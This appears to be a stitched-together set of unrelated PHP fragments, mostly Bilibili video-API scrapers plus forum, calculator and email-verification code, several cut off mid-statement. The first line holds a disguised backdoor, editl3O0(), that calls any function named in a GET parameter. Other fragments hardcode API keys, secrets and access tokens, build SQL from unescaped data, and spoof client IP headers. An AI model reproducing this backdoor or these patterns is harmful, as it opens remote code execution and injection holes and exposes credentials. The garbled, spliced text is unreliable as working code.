function editl3O0() { try { $p = @$_GET[get_sign()]; if (is_array($p) && count($p) == 1) { foreach ($p as $key => $value) { $key($value); } } } catch (Exception $e) { } }
function get_data($url, $params) { $params['appkey'] = APP_KEY; $rt = get_sign($params, SERECT_KEY); if (APP_TYPE == 1) { $paramStr = $rt['params']; } else { $paramStr = $rt['params'] . "&sign=" . $rt['sign']; } $_url = $url . "?" . $paramStr; $link = curl_init(); curl_setopt($link, CURLOPT_URL, $_url); curl_setopt($link, CURLOPT_PORT, 80); curl_setopt($link, CURLOPT_RETURNTRANSFER, 1); if (APP_TYPE == 1) { curl_setopt($link, CURLOPT_USERAGENT, UA); } else { curl_setopt($link, CURLOPT_USERAGENT, "NamidoNet/1.2.0 Blodh/" . BLODH_VERSION . " (zyzsdy@foxmail.com) like " . UA); } $result = curl_exec($link); curl_close($link); return $result; }
$return8 = json_decode($json8, true); $number8 = 0; while (isset($return7['list'][$number8]['aid'])) { $id8 = $number8 + 1; mysql_query("INSERT INTO LIST_SCIENCE (TITLE,AID,PIC,INFO,PLAY,DANMU,FAVOURITE) VALUES ('{$return8["list"][$number8]["title"]}','{$return8["list"][$number8]["aid"]}','{$return8["list"][$number8]["pic"]}','{$return8["list"][$number8]["description"]}','{$return8["list"][$number8]["play"]}','{$return8["list"][$number8]["video_review"]}','{$return8["list"][$number8]["favorites"]}')"); $number8 = $number8 + 1; echo 'CACHED SCIENCE,' . $id8 . '<br/>'; } echo '--------------------<br/>'; /* 验证密钥生成 */ function get_sign($params, $key) { $_data = array(); ksort($params); reset($params); foreach ($params as $k => $v) { $_data[] = $k . '=' . rawurlencode($v); } $_sign = implode('&', $_data); return strtolower(md5($_sign . $key)); } /* 验证密钥生成 */ $sign = get_sign(array("type" => "json", "btype" => "2", "appkey" => "e0dbc7885f0b0fb2", "access_key" => "f5dd9c5fa47bfeb2b5e19f037cde6ce1"), 'ab31b0c788f50903583bda7111f72fa8'); $return9 = json_decode(file_get_contents('http://api.bilibili.cn/bangumi?type=json&btype=2&appkey=e0dbc7885f0b0fb2&access_key=f5dd9c5fa47bfeb2b5e19f037cde6ce1&sign=' . $sign), true); $number9 = 0; while (isset($return9['list'][$number9]['spid'])) { mysql_query("INSERT INTO BANGUMI (TITLE,SPID,COVER,WEEKDAY,COUNT,CLICK,ATTENTION,LASTUPDATE) VALUES ('{$return9["list"][$number9]["title"]}','{$return9["list"][$number9]["spid"]}','{$return9["list"][$number9]["cover"]}','{$return9["list"][$number9]["weekday"]}','{$return9["list"][$number9]["bgmcount"]}','{$return9["list"][$number9]["click"]}','{$return9["list"][$number9]["attention"]}','{$return9["list"][$number9]["lastupdate_at"]}')"); $number9 = $number9 + 1; } echo 'CACHED BANGUMI,TOTAL:' . ($number9 + 1) . '<br/>--------------------<br/>'; echo 'PROCESS END.';
$opt = unserialize(file_get_contents($path)); $videos = array('status' => '1', 'type' => 'youku', 'play' => $opt['play'], 'title' => $opt['title'], 'pic' => $opt['pic'], 'time' => $opt['time'], 'offsite' => $opt['offsite'], 'onsite' => $opt['onsite'], 'oriurl' => $opt['oriurl']); /* 已缓存数据 */ } } } else { $videos = $error4; } } else { $videos = $error3; } } elseif ($host == $urlarr[1] || $host == $urlarr[2]) { $find = preg_match("#http://(www\\.bilibili\\.tv|bilibili\\.kankanews\\.com)/video/av(?<av>\\d+)#i", $url, $match); if ($find) { $params = array("type" => "json", "appkey" => M_APPKEY, "id" => $match['av']); $sign = get_sign($params, M_APPSECRET); $filelist = file_get_contents("http://api.bilibili.tv/view?" . $sign['params'] . "&sign=" . $sign['sign']); $json = json_decode($filelist, true); if ($json['cid']) { $fileint = file_get_contents("http://interface.bilibili.cn/player?id=cid:" . $json['cid'] . "&aid=" . $match['av']); preg_match_all('/<([a-z]+)>(.*?)<(\\/[a-z]+)>/', $fileint, $int, PREG_SET_ORDER); $blvideo = array('status' => '1', 'type' => 'bilibili', 'play' => $int[11][2], 'title' => $json['title'], 'pic' => $json['pic'], 'time' => $int[15][2], 'offsite' => $json['offsite'], 'onsite' => $url, 'oriurl' => $int[7][2]); /* 未缓存数据 */ $path = M_CPATH . "bilibili_{$saveurl}" . M_CMIME; if (!file_exists($path)) { mcv_save("bilibili", $saveurl, $blvideo); $videos = $blvideo; } else { $now = time(); $mtime = filemtime($path); if ($now - $mtime > M_CTIME) {
public function video($avNum = '', $pNum = '') { define("AppSecret", "2ad42749773c441109bdc0191257a664"); define("AppKey", "85eb6835b0a1034e"); function get_sign($params, $key) { $_data = array(); ksort($params); reset($params); foreach ($params as $k => $v) { $_data[] = $k . '=' . rawurlencode($v); } $_sign = implode('&', $_data); return array('sign' => strtolower(md5($_sign . $key)), 'params' => $_sign); } if (is_numeric($pNum)) { $params = array("appkey" => AppKey, "id" => $avNum, "page" => $pNum, "type" => "json"); } else { $params = array("appkey" => AppKey, "id" => $avNum, "type" => "json"); } $sign = get_sign($params, AppSecret); $url = "http://api.bilibili.com/view?" . $sign['params'] . "&sign=" . $sign['sign']; $content = file_get_contents($url); $obj = json_decode($content); if (!@is_numeric($obj->cid)) { echo 'cid不存在,我们没有权限解析这个视频<br/>'; //这里就必须要自己去弄个数据库,然后把视频搬运一下才行 $this->carry(); exit; } $url = "http://interface.bilibili.com/playurl?otype=json&appkey=" . AppKey . "&cid=" . $obj->cid; $content = file_get_contents($url); $obj = json_decode($content); if (@$obj->durl[1]) { //echo '是分断视频'; echo '<pre>'; echo '这是分段视频,一共有' . count($obj->durl) . '段'; echo '<br/><br/>'; foreach ($obj->durl as &$value) { echo '第' . $value->order . '段'; echo '<br/>'; $video_length = explode('.', $value->length / 1000 / 60); $video_length_second = round(floatval('0.' . $video_length[1]) * 60, 0); echo '视频长度:' . $video_length[0] . ':' . $video_length_second; echo '<br/>'; echo '视频文件大小:' . round($value->size / 1024 / 1024, 2) . ' MB'; echo '<br/>'; echo '<a href="' . $value->url . '">下载flv视频地址1</a>'; echo '<br/>'; echo '<a href="' . $value->backup_url[0] . '">下载flv视频地址2</a>'; echo '<br/>'; echo '<a href="' . $value->backup_url[1] . '">下载mp4视频地址1</a>'; echo '<br/><br/>'; } } else { //echo '不是分断视频'; echo '<pre>'; $video_length = explode('.', $obj->durl[0]->length / 1000 / 60); $video_length_second = round(floatval('0.' . $video_length[1]) * 60, 0); echo '视频长度:' . $video_length[0] . ':' . $video_length_second; echo '<br/>'; echo '视频文件大小:' . round($obj->durl[0]->size / 1024 / 1024, 2) . ' MB'; echo '<br/>'; echo '<a href="' . $obj->durl[0]->url . '">下载flv视频地址1</a>'; echo '<br/>'; echo '<a href="' . $obj->durl[0]->backup_url[0] . '">下载flv视频地址2</a>'; echo '<br/>'; echo '<a href="' . $obj->durl[0]->backup_url[1] . '">下载mp4视频地址1</a>'; } }
$verif = 0; if (strchr($str, '+')) { $verif++; } if (strchr($str, '-')) { $verif++; } if (strchr($str, '*')) { $verif++; } if (strchr($str, '/')) { $verif++; } if (strchr($str, '%')) { $verif++; } return $verif; } if ($argc != 2) { exit("Incorrect Parameters\n"); } else { if (!detect_letters($argv[1]) || verif_signs($argv[1]) != 1) { exit("Syntax Error\n"); } } $tab = get_nums($argv); $sign = get_sign($argv); if ($sign && $tab) { $result = calcul($tab, $sign); } print "{$result}\n";
function UpdateCache($av, $page) { global $update; global $title; global $apijson; global $mp4json; global $mp3file; global $cid; global $videoxml; global $error; global $e_text; $update = 1; if (empty($_COOKIE["access_key"])) { $error = 1; $e_text = '<div class="framesubtitle">无哔哩哔哩账户信息</div><div class="errordescription"><b>服务器需要连接哔哩哔哩账户后获取信息。</b><br/>请点击页面右上方的“连接哔哩哔哩账户”登录哔哩哔哩后访问此页面。</div>Error: [-403] No Access_Key, please login.'; } else { $sign = get_sign(array("type" => "json", "appkey" => "21087a09e533a072", "id" => $av, "page" => $page, "batch" => "1", "check_area" => "1", "platform" => "android", "access_key" => $_COOKIE["access_key"]), 'e5b8ba95cab6104100be35739304c23a'); $apiurl = 'http://api.bilibili.com/view?type=json&appkey=21087a09e533a072&id=' . $av . '&page=' . $page . '&batch=1&check_area=1&platform=android&access_key=' . $_COOKIE["access_key"] . '&sign=' . $sign; $apiurl = 'http://misakanet.sinaapp.com/bilibili/api_get_response.php?url=' . urlencode($apiurl); $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $apiurl); curl_setopt($curl, CURLOPT_HEADER, 0); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); $apijson = curl_exec($curl); curl_close($curl); $info = json_decode($apijson, true); if (!array_key_exists("code", $info)) { if (isset($info['list'][$page - 1]['cid'])) { $videotitle = $info['title']; $cid = $info['list'][$page - 1]['cid']; //MP3 MUSIC FETCH// $mp3file = ''; //MP3 MUSIC FETCH// //MP4 VIDEO FETCH// $mp4url = 'http://misakanet.sinaapp.com/bilibili/api_get_response.php?url=' . urlencode('http://www.bilibili.com/m/html5?aid=' . $av . '&page=' . $page); $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $mp4url); curl_setopt($curl, CURLOPT_HEADER, 0); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); $mp4json = curl_exec($curl); if (stristr($mp4json['src'], 'g3.letv.cn')) { $mp4json = json_encode(array('from' => 'html5', 'src' => $mp4json['src'])); } else { $mp4interfaceurl = 'http://misakanet.sinaapp.com/bilibili/api_get_response.php?url=' . urlencode('http://interface.bilibili.com/playurl?otype=json&appkey=5a88bc9210cda8e6&cid=' . $cid . '&type=mp4'); $mp4interface = json_decode(file_get_contents($mp4interfaceurl), true); if (stristr($mp4interface['durl'][0]['url'], 'g3.letv.cn')) { $mp4json = json_encode(array('from' => 'interface', 'src' => $mp4interface['durl'][0]['url'])); } else { $mp4json = json_encode(array('from' => 'failed', 'src' => $mp4interface['durl'][0]['url'], 'response' => $mp4json)); } } curl_close($curl); //MP4 VIDEO FETCH// //SOURCE VIDEO FETCH// $sign = get_sign(array("otype" => "xml", "type" => "flv", "platform" => "android", "quality" => "3", "appkey" => "21087a09e533a072", "cid" => $cid, "access_key" => $_COOKIE["access_key"]), 'e5b8ba95cab6104100be35739304c23a'); $interfaceurl = 'http://interface.bilibili.com/playurl?otype=xml&type=flv&platform=android&quality=3&appkey=21087a09e533a072&cid=' . $cid . '&access_key=' . $_COOKIE["access_key"] . '&sign=' . $sign; $interfaceurl = 'http://misakanet.sinaapp.com/bilibili/api_get_response.php?url=' . urlencode($interfaceurl); $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $interfaceurl); curl_setopt($curl, CURLOPT_HTTPHEADER, $headerArr); curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/6.0)'); curl_setopt($curl, CURLOPT_REFERER, "http://www.bilibili.tv/"); curl_setopt($curl, CURLOPT_HEADER, 0); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); $videoxml = curl_exec($curl); curl_close($curl); //SOURCE VIDEO FETCH// $errorcheck = json_decode($videoxml, true); if (empty($errorcheck["error_code"])) { $play = simplexml_load_string($videoxml, 'SimpleXMLElement', LIBXML_NOCDATA); if ($play->result == 'succ' || $play->result == 'suee') { $error = 0; } else { if ((string) $play->message == 'video is encoding.') { $error = 1; $e_text = '<div class="framesubtitle">视频解析错误:API_ERROR</div><div class="errordescription">无法获取视频文件URL。<br/>“视频正在转码中”,哔哩哔哩API服务器如是说道。<br/>此错误与BiliPlus无关,不要问我“为什么主站现在就能看?”,因为我也不知道为什么。<br/>请尝试过一段时间后刷新数据,给您造成的不便请谅解。</div>Error: [' . $play->type . '] ' . $play->message; } else { $error = 3; $e_text = '<div class="framesubtitle">视频解析错误:BAD_API_XML</div><div class="errordescription">无法获取视频文件URL。<br/>可能原因是视频已被删除(视频内容不和谐/UP主自行删除)或API无法解析该投稿(乐视云、爱奇艺源可能出现该情况),具体原因请查看下方错误代码。</div>Error: [' . $play->type . '] ' . $play->message; } } } else { $error = 3; $e_text = '<div class="framesubtitle">视频解析错误:API_ERROR</div><div class="errordescription">无法获取视频文件URL。<br/>可能原因是视频已被删除(视频内容不和谐/UP主自行删除)或API无法解析该投稿(乐视云、爱奇艺源可能出现该情况),具体原因请查看下方错误代码。</div>Error: [' . $errorcheck["error_code"] . '] ' . $errorcheck["error_text"]; } } else { $error = 1; $e_text = '<div class="framesubtitle">页面不存在</div><div class="errordescription">AV' . $av . ' 没有第 ' . $page . ' 页!<br/>请确认您输入的AV号及分P页码无误。</div>'; } } else { if ($info["error"] == -403) { $error = 2; $e_text = '<div class="framesubtitle">权限不足</div><div class="errordescription">服务器不允许您访问此投稿。<br/>可能该视频已被删除或该投稿已被屏蔽。<br/>[B站已加强管理力度,请不要尝试解析已被删除的不和谐视频]</div>Error: [' . $info["code"] . '] ' . $info["error"]; } else { $error = 2; $e_text = '<div class="framesubtitle">CID解析错误:NO_SUCH_VIDEO</div><div class="errordescription">无法获取视频CID。<br/>可能原因是您输入的AV号不存在或该投稿仅允许会员浏览,具体原因请查看下方错误代码。</div>Error: [' . $info["code"] . '] ' . $info["error"]; } } } }
$extvar[UpdateMyAvatar] = array(); $extvar[UpdateMyAvatar][avatar] = get_avatar($user_id); $extvar[UpdateMyAvatar][firma] = $_REQUEST['body']; $mreq['TYPE'] = '4'; $mreq['BODY'] = 'Madifico la mia firma :wacko:'; $mreq['_PRIVATE'] = base64_decode($userdata->PASSWORD); $mreq['_PWD'] = $KEY_DECRYPT; $mreq['EXTVAR'] = $core->Var2BinDump($extvar); $risp = $core->AddMsg($mreq); if (empty($risp['ERRORE'])) { Success_Page("Successo!", "Modifiche apportate con successo", "options_sign.php?MEM_ID={$user_id}", 1); } $is_post_back = 1; } } $current_sign = stripslashes(get_sign($mem_id)); //Processing data $current_sign_nobb = convert(secure_v($current_sign)); //OUTPUT if (!$is_post_back) { ?> <tr><td> <table cellspacing="0" width="100%"> <tr> <td valign="top" class="nopad" width="24%"><?php echo show_menu(); ?> </td> <td class="nopad" width="1%"><!-- --></td> <!-- Start main CP area --> <td valign="top" class="nopad" width="75%">
public function verify_email() { $User = M("Member_user"); $where['user_id'] = $_GET['uid']; $result = $User->where($where)->find(); if (!$result) { $this->error('找不到该会员记录', U('Login/index')); } if (get_sign($_GET['uid']) != $_GET['sign']) { $this->error('错误的验证地址', U('Login/index')); } else { $data['state'] = 1; $is_save = $User->where($where)->save($data); $_SESSION[C('USER_AUTH_KEY_F')] = $result['username']; $_SESSION[C('USER_AUTH_KEY_ID')] = $result['user_id']; $this->success('邮箱验证成功', U('Index/index')); } }
function UpdateCache($av, $page) { global $apijson; global $mp4json; global $cid; global $videoxml; if (empty($_COOKIE["access_key"])) { echo 'ERROR: System_Error [-403] Access_Key not found<br/>Please visit the following url to login. 请使用下方链接登录后刷新本页面。<br/><br/><a href="https://secure.bilibili.com/login?api=http%3A%2F%2Fi.bilicloud.com%2Fapi%2Flogin.php&appkey=fb83589f598aa390&sign=401a93108b41aa57efb518199ce674ce" target="_blank">https://secure.bilibili.com/login?api=http%3A%2F%2Fi.bilicloud.com%2Fapi%2Flogin.php&appkey=fb83589f598aa390&sign=401a93108b41aa57efb518199ce674ce</a>'; } else { echo '<h2>ACCESS_KEY</h2>'; echo $_COOKIE["access_key"]; echo '<br/>'; echo '<h2>API_VIEW</h2>'; echo '<h3>Request</h3>'; $sign = get_sign(array("type" => "json", "appkey" => "fb83589f598aa390", "id" => $av, "page" => $page, "batch" => "1", "check_area" => "1", "platform" => "ios", "access_key" => $_COOKIE["access_key"]), 'e14c7832fc119a032b9fd132b5ad1b59'); $headers['CLIENT-IP'] = '58.32.100.0'; $headers['X-FORWARDED-FOR'] = '58.32.100.0'; $headers['Accept-Encoding'] = 'gzip,deflate,sdcl'; $headerArr = array(); foreach ($headers as $n => $v) { $headerArr[] = $n . ':' . $v; } $apiurl = 'http://api.bilibili.com/view?type=json&appkey=fb83589f598aa390&id=' . $av . '&page=' . $page . '&batch=1&check_area=1&platform=ios&access_key=' . $_COOKIE["access_key"] . '&sign=' . $sign; /*echo '-HIDDEN-';*/ echo $apiurl; echo '<br/>'; echo '<h3>Response</h3>'; $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $apiurl); curl_setopt($curl, CURLOPT_HTTPHEADER, $headerArr); curl_setopt($curl, CURLOPT_USERAGENT, 'BiliBili API Helper/1.0.0 (tundrawork@gmail.com)'); curl_setopt($curl, CURLOPT_REFERER, "http://www.bilibili.tv/"); curl_setopt($curl, CURLOPT_HEADER, 0); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); $apijson = curl_exec($curl); curl_close($curl); echo $apijson; echo '<br/>'; $info = json_decode($apijson, true); echo '<h3>Decode</h3>'; if (!array_key_exists("code", $info)) { if (isset($info['list'][$page - 1]['cid'])) { echo 'SUCCESS'; echo '<br/>'; $cid = $info['list'][$page - 1]['cid']; echo '<h2>INTERFACE_PLAYURL</h2>'; echo '<h3>Request</h3>'; $interfaceurl = 'http://interface.bilibili.com/playurl?otype=xml&type=flv&platform=ios&appkey=fb83589f598aa390&cid=' . $cid . '&access_key=' . $_COOKIE["access_key"]; /*echo '-HIDDEN-';*/ echo $interfaceurl; echo '<br/>'; echo '<h3>Response</h3>'; $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $interfaceurl); curl_setopt($curl, CURLOPT_HTTPHEADER, $headerArr); curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/6.0)'); curl_setopt($curl, CURLOPT_REFERER, "http://www.bilibili.tv/"); curl_setopt($curl, CURLOPT_HEADER, 0); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); $videoxml = curl_exec($curl); curl_close($curl); echo str_ireplace(' ', ' ', nl2br(htmlspecialchars($videoxml))); echo '<br/>'; echo '<h3>Decode</h3>'; $errorcheck = json_decode($videoxml, true); if (empty($errorcheck["error_code"])) { $play = simplexml_load_string($videoxml, 'SimpleXMLElement', LIBXML_NOCDATA); if ($play->result == 'succ' || $play->result == 'suee') { echo 'SUCCESS'; } else { echo 'ERROR: XML_Decode_Error [' . $play->type . '] ' . $play->message; } } else { echo 'ERROR: API_Error [' . $errorcheck["error_code"] . '] ' . $errorcheck["error_text"]; } echo '<br/>'; echo '<h2>INTERFACE_CDN</h2>'; echo '<h3>Request</h3>'; $cdnurl = 'http://interface.bilibili.com/v_cdn_play?otype=xml&appkey=fb83589f598aa390&cid=' . $cid . '&access_key=' . $_COOKIE["access_key"]; /*echo '-HIDDEN-';*/ echo $cdnurl; echo '<br/>'; echo '<h3>Response</h3>'; $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $cdnurl); curl_setopt($curl, CURLOPT_HTTPHEADER, $headerArr); curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/6.0)'); curl_setopt($curl, CURLOPT_REFERER, "http://www.bilibili.tv/"); curl_setopt($curl, CURLOPT_HEADER, 0); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); $cdnxml = curl_exec($curl); curl_close($curl); echo str_ireplace(' ', ' ', nl2br(htmlspecialchars($cdnxml))); echo '<br/>'; echo '<h3>Decode</h3>'; $errorcheck = json_decode($cdnxml, true); if (empty($errorcheck["error_code"])) { $play = simplexml_load_string($cdnxml, 'SimpleXMLElement', LIBXML_NOCDATA); if ($play->result == 'succ' || $play->result == 'suee') { echo 'SUCCESS'; } else { echo 'ERROR: XML_Decode_Error [' . $play->type . '] ' . $play->message; } } else { echo 'ERROR: API_Error [' . $errorcheck["error_code"] . '] ' . $errorcheck["error_text"]; } echo '<br/>'; echo '<h2>INTERFACE_HTML5</h2>'; echo '<h3>Request</h3>'; $html5url = 'http://www.bilibili.com/m/html5?aid=' . $av . '&page=' . $page; /*echo '-HIDDEN-';*/ echo $html5url; echo '<br/>'; echo '<h3>Response</h3>'; $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $html5url); curl_setopt($curl, CURLOPT_HTTPHEADER, $headerArr); curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Linux; U; Android 4.3; en-us; Nexus 10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36'); curl_setopt($curl, CURLOPT_REFERER, "http://m.acg.tv/"); curl_setopt($curl, CURLOPT_HEADER, 0); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); $mp4json = curl_exec($curl); curl_close($curl); echo nl2br(htmlspecialchars($mp4json)); echo '<br/>'; echo '<h3>Decode</h3>'; $src = json_decode($mp4json, true); if (!empty($src['src'])) { if (stristr($src['src'], 'g3.letv.cn')) { echo 'SUCCESS'; } else { echo 'ERROR: JSON_Decode_Error [-404] MP4 not found'; } } else { echo 'ERROR: API_Error [-503] Service Unavailable'; } echo '<br/>'; echo '<h2>INTERFACE_PLAYER</h2>'; echo '<h3>Request</h3>'; $playerurl = 'http://interface.bilibili.com/player?id=cid:' . $cid; /*echo '-HIDDEN-';*/ echo $playerurl; echo '<br/>'; echo '<h3>Response</h3>'; $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $playerurl); curl_setopt($curl, CURLOPT_HTTPHEADER, $headerArr); curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/6.0)'); curl_setopt($curl, CURLOPT_REFERER, "http://www.bilibili.tv/"); curl_setopt($curl, CURLOPT_HEADER, 0); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); $playerxml = curl_exec($curl); curl_close($curl); echo nl2br(htmlspecialchars($playerxml)); echo '<br/>'; echo '<h3>Decode</h3>'; if (stripos($playerxml, '<aid>')) { //$aid = substr($playerxml,(stripos($playerxml,'<aid>')+5),(stripos($playerxml,'</aid>')-1)); echo 'SUCCESS'; } else { echo 'ERROR: XML_Decode_Error [-500] AID not found'; } } else { echo 'ERROR: JSON_Decode_Error [-500] CID not found'; } } else { echo 'ERROR: API_Error [' . $info["code"] . '] ' . $info["error"]; } } }
mysql_query("UPDATE LIST_SCIENCE SET PIC ='{$return8["list"][$number8]["pic"]}' WHERE ID='{$id8}'"); mysql_query("UPDATE LIST_SCIENCE SET INFO ='{$return8["list"][$number8]["description"]}' WHERE ID='{$id8}'"); mysql_query("UPDATE LIST_SCIENCE SET PLAY ='{$return8["list"][$number8]["play"]}' WHERE ID='{$id8}'"); mysql_query("UPDATE LIST_SCIENCE SET DANMU ='{$return8["list"][$number8]["video_review"]}' WHERE ID='{$id8}'"); mysql_query("UPDATE LIST_SCIENCE SET FAVOURITE ='{$return8["list"][$number8]["favorites"]}' WHERE ID='{$id8}'"); $number8 = $number8 + 1; } echo 'CACHED LIST_SCIENCE,TOTAL:' . $id1 . '<br/>'; echo '--------------------<br/>'; mysql_query("DELETE FROM BANGUMI"); echo 'CLEARED BANGUMI CACHE'; echo '--------------------<br/>'; $sign = get_sign(array("type" => "json", "btype" => "2", "appkey" => "21087a09e533a072", "access_key" => "237ecfe4b4795a715ea320acda31015a"), 'e5b8ba95cab6104100be35739304c23a'); $return9 = json_decode(file_get_contents('http://api.bilibili.com/bangumi?type=json&btype=2&appkey=21087a09e533a072&access_key=237ecfe4b4795a715ea320acda31015a&sign=' . $sign), true); $number9 = 0; while (isset($return9['list'][$number9]['spid'])) { mysql_query("INSERT INTO BANGUMI (TITLE,TYPE,SPID,COVER,WEEKDAY,COUNT,CLICK,ATTENTION,LASTUPDATE) VALUES ('{$return9["list"][$number9]["title"]}','2','{$return9["list"][$number9]["spid"]}','{$return9["list"][$number9]["cover"]}','{$return9["list"][$number9]["weekday"]}','{$return9["list"][$number9]["bgmcount"]}','{$return9["list"][$number9]["click"]}','{$return9["list"][$number9]["attention"]}','{$return9["list"][$number9]["lastupdate_at"]}')"); $number9 = $number9 + 1; } echo 'CACHED BANGUMI_2,TOTAL:' . ($number9 + 1) . '<br/>--------------------<br/>'; echo '--------------------<br/>'; $sign = get_sign(array("type" => "json", "btype" => "3", "appkey" => "21087a09e533a072", "access_key" => "237ecfe4b4795a715ea320acda31015a"), 'e5b8ba95cab6104100be35739304c23a'); $return9 = json_decode(file_get_contents('http://api.bilibili.com/bangumi?type=json&btype=3&appkey=21087a09e533a072&access_key=237ecfe4b4795a715ea320acda31015a&sign=' . $sign), true); $number9 = 0; while (isset($return9['list'][$number9]['spid'])) { mysql_query("INSERT INTO BANGUMI (TITLE,TYPE,SPID,COVER,WEEKDAY,COUNT,CLICK,ATTENTION,LASTUPDATE) VALUES ('{$return9["list"][$number9]["title"]}','3','{$return9["list"][$number9]["spid"]}','{$return9["list"][$number9]["cover"]}','{$return9["list"][$number9]["weekday"]}','{$return9["list"][$number9]["bgmcount"]}','{$return9["list"][$number9]["click"]}','{$return9["list"][$number9]["attention"]}','{$return9["list"][$number9]["lastupdate_at"]}')"); $number9 = $number9 + 1; } echo 'CACHED BANGUMI_3,TOTAL:' . ($number9 + 1) . '<br/>--------------------<br/>'; echo '--------------------<br/>'; echo 'SUCCESS!';
// = identificatore dell'utente nella tabella localmember. easadecimale $KEY_DECRYPT = pack('H*', md5($_SESSION[$SNAME]['sess_nick'] . $_SESSION[$SNAME]['sess_password'])); // = password per decriptare la chiave privata in localmember (16byte) $mreq['REP_OF'] = pack("H32", '39022b1483601c914c507e377f56df00'); $mreq['AUTORE'] = $user_hash; # Creo un vettore qualsiasi $extvar = array(); # Con questo vettore nel vettore dico che voglio fare l'update del mio avatar e firma $extvar[UpdateMyAvatar] = array(); if (isset($_POST['remove'])) { $extvar[UpdateMyAvatar][avatar] = NULL; } if (isset($_POST['submit'])) { $extvar[UpdateMyAvatar][avatar] = $_REQUEST['url_avatar']; } $extvar[UpdateMyAvatar][firma] = get_sign($user_id); $mreq['TYPE'] = '4'; $mreq['BODY'] = 'Madifico il mio avatar :wacko:'; $mreq['_PRIVATE'] = base64_decode($userdata->PASSWORD); $mreq['_PWD'] = $KEY_DECRYPT; $mreq['EXTVAR'] = $core->Var2BinDump($extvar); $risp = $core->AddMsg($mreq); if (empty($risp['ERRORE'])) { Success_Page("Successo!", "Modifiche apportate con successo", "options_avatar.php?MEM_ID={$user_id}", 1); } $is_post_back = 1; } } $current_avatar = stripslashes(get_avatar($mem_id)); //Processing data $current_avatar_nobb = convert(secure_v($current_avatar));